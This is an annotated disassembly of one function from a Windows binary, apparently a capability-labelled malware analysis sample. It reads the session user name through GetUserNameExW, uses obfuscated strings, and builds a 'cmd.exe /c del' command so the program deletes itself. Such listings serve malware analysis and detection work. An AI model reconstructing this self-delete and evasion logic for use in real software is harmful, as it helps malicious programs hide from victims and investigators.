Function at 0x42a1dd
Capabilities:
Get session user name
Self delete

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45f45f
mov eax, dword fs:[0]
push eax
mov eax, 0x1300
call fcn.00445f70
mov eax, dword [0x47b570]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
push eax
push str.ami_sExi
mov dword [ebp - 0x1300], ecx
mov ecx, dword [ebp + 0x10]
lea eax, [ebp - 0xb4]
push 0x50
push eax
mov esi, edx
mov dword [ebp - 0x1304], ecx
call fcn.004311bc
add esp, 0x10
lea eax, [ebp - 0x1308]
push eax
lea eax, [ebp - 0x2bc]
push eax
push 2
mov dword [ebp - 0x1308], 0x104
call dword [sym.imp.Secur32.dll_GetUserNameExW]
xor eax, eax
xor ecx, ecx
mov dword [ebp - 0x12e0], eax
mov dword [ebp - 0x12dc], eax
mov dword [ebp - 0x12c4], 7
mov dword [ebp - 0x12c8], eax
mov word [ebp - 0x12d8], cx
mov dword [ebp - 4], eax
lea eax, [ebp - 0xb4]
push eax
lea eax, [ebp - 0x12e0]
push eax
call fcn.004296bf
xor ebx, ebx
inc ebx
cmp eax, ebx
jne 0x42a2ec
push ebx
push 0xc14
push 0x43fe
mov ecx, str.Za36BfkjcdDne7nGfPwUKV_vlGja3dQ5jv7jXZndtHlfffHcSFj2WY9eUTw87MVJz6_xmXj49InOyrCNadxBzZvvN2
call fcn.00420467
pop ecx
pop ecx
push eax
call fcn.0041f822
pop ecx
pop ecx
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x12e0]
push eax
call fcn.00429679
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0042fd59
leave
ret
lea eax, [ebp - 0x2bc]
push eax
lea eax, [ebp - 0x12e0]
push eax
call fcn.004298ac
cmp eax, ebx
jne 0x42a312
push ebx
push 0x39
mov ecx, str.Za36BfkjcdDne7nGfPwUKV_vlGja3dQ5jv7jXZndtHlfffHcSFj2CY8udcw4GPR53_qw7SicZVjenqCN6BwQaQ9e0Tjc6KXvM
call fcn.00420467
jmp 0x42a2b7
lea eax, [ebp - 0x12e0]
call fcn.00429952
cmp eax, ebx
jne 0x42a32e
mov ecx, str.Za36BfkjcdDne7nGfPwUKV_vlGja3dQ5jv7jXZndtHlfffHcSFj2CY8udcw4GPR53_qw_SjdpUkO_yXNScykKc9f8V1oLcHNm83Y
push ebx
call fcn.00420467
jmp 0x42a2b8
lea eax, [ebp - 0x12e0]
call fcn.004299ec
cmp eax, ebx
jne 0x42a344
mov ecx, str.Za36BfkjcdDne7nGfPwUKV_vlGja3dQ5jv7jXZndtHlfffHcSFj2CY8udcw4GPR53_qw_SmttPl_z4RpfL1yw
jmp 0x42a326
push dword [ebp - 0x1304]
lea eax, [ebp - 0x12e0]
push edi
push eax
call fcn.00429b0d
cmp eax, ebx
jne 0x42a368
push ebx
push 0x5f5a
mov ecx, str.Za36BfkjcdDne7nGfPwUKV_vlGja3dQ5jv7jXZndtHlfffHcSFj2CY8udcw4GPR53_qwjFh8hBnOmxXJKWpQ
jmp 0x42a30b
push dword [ebp - 0x1300]
lea eax, [ebp - 0x12e0]
push esi
push eax
call fcn.00429dd6
cmp eax, ebx
jne 0x42a386
mov ecx, str.Za36BfkjcdDne7nGfPwUKV_vlGja3dQ5jv7jXZndtHlfffHcSFj2WY9eUTw87MVJz6_xmXmsdD2f7zGdSb20PZugI3oHBHNm83Y
jmp 0x42a326
push esi
push str._c_del___s_
lea eax, [ebp - 0x12bc]
push 0x400
push eax
call fcn.004311bc
add esp, 0x10
lea eax, [ebp - 0x12bc]
push eax
mov edi, str.cmd.exe
push edi
lea eax, [ebp - 0x12e0]
push eax
call fcn.00429dd6
cmp eax, ebx
jne 0x42a3cd
push ebx
push 0x38ca
mov ecx, str.Za36BfkjcdDne7nGfPwUKV_vlGja3dQ5jv7jXZndtHlfffHcSFj2WY9eUTw87MVJz6_xmXmsdD2f_uENKaygaYP8V2ICVBtzjgQ
jmp 0x42a30b
push 0x7481
push 0x48ce
mov ecx, str.A63exiySsttHivClCtWd
call fcn.004204c2
pop ecx
pop ecx
push eax
lea esi, [ebp - 0x12fc]
call fcn.004022ed
mov byte [ebp - 4], bl
call fcn.00428eac
cmp dword [ebp - 0x12e8], 8
mov eax, dword [ebp - 0x12fc]
jae 0x42a408
mov eax, esi
push eax
push str._c_del___s_
lea eax, [ebp - 0xabc]
push 0x400
push eax
call fcn.004311bc
add esp, 0x10
lea eax, [ebp - 0xabc]
push eax
push edi
lea eax, [ebp - 0x12e0]
push eax
call fcn.00429dd6
cmp eax, ebx
jne 0x42a466
push ebx
push 0x1c65
mov ecx, str.Za36BfkjcdDne7nGfPwUKV_vlGja3dQ5jv7jXZndtHlfffHcSFj2WY9eUTw87MVJz6_xmXmsdD2f_uENKaygaYP8V2ICVBtzjgQ
call fcn.00420467
pop ecx
push eax
call fcn.0041f822
pop ecx
pop ecx
push ebx
xor edi, edi
lea esi, [ebp - 0x12fc]
call fcn.00402342
jmp 0x42a2c0
lea ebx, [ebp - 0x12e0]
call fcn.00429ccb
xor esi, esi
inc esi
cmp eax, esi
jne 0x42a490
push esi
mov ecx, str.Za36BfkjcdDne7nGfPwUKV_vlGja3dQ5jv7jXZndtHlfffHcSFj2CY8udcw4GPVZjt7lzDhsoGjfr4F43Oil7z
call fcn.00420467
push eax
call fcn.0041f822
pop ecx
pop ecx
mov ebx, esi
push esi
jmp 0x42a454
push 0x7b6c
push 0x6fdd
mov ecx, str.Za36BfkjcdDne7nGfPwUKV_vlGja3dQ5jv7jXZndtHlfffHcSFj3WMOgZxJ2OBq36BeXndpFmv74D9Gbw0qAu_kZ0IfcUpzp7hiZ5A
call fcn.00420467
push eax
call fcn.0041f822
add esp, 0xc
xor ebx, ebx
jmp 0x42a48d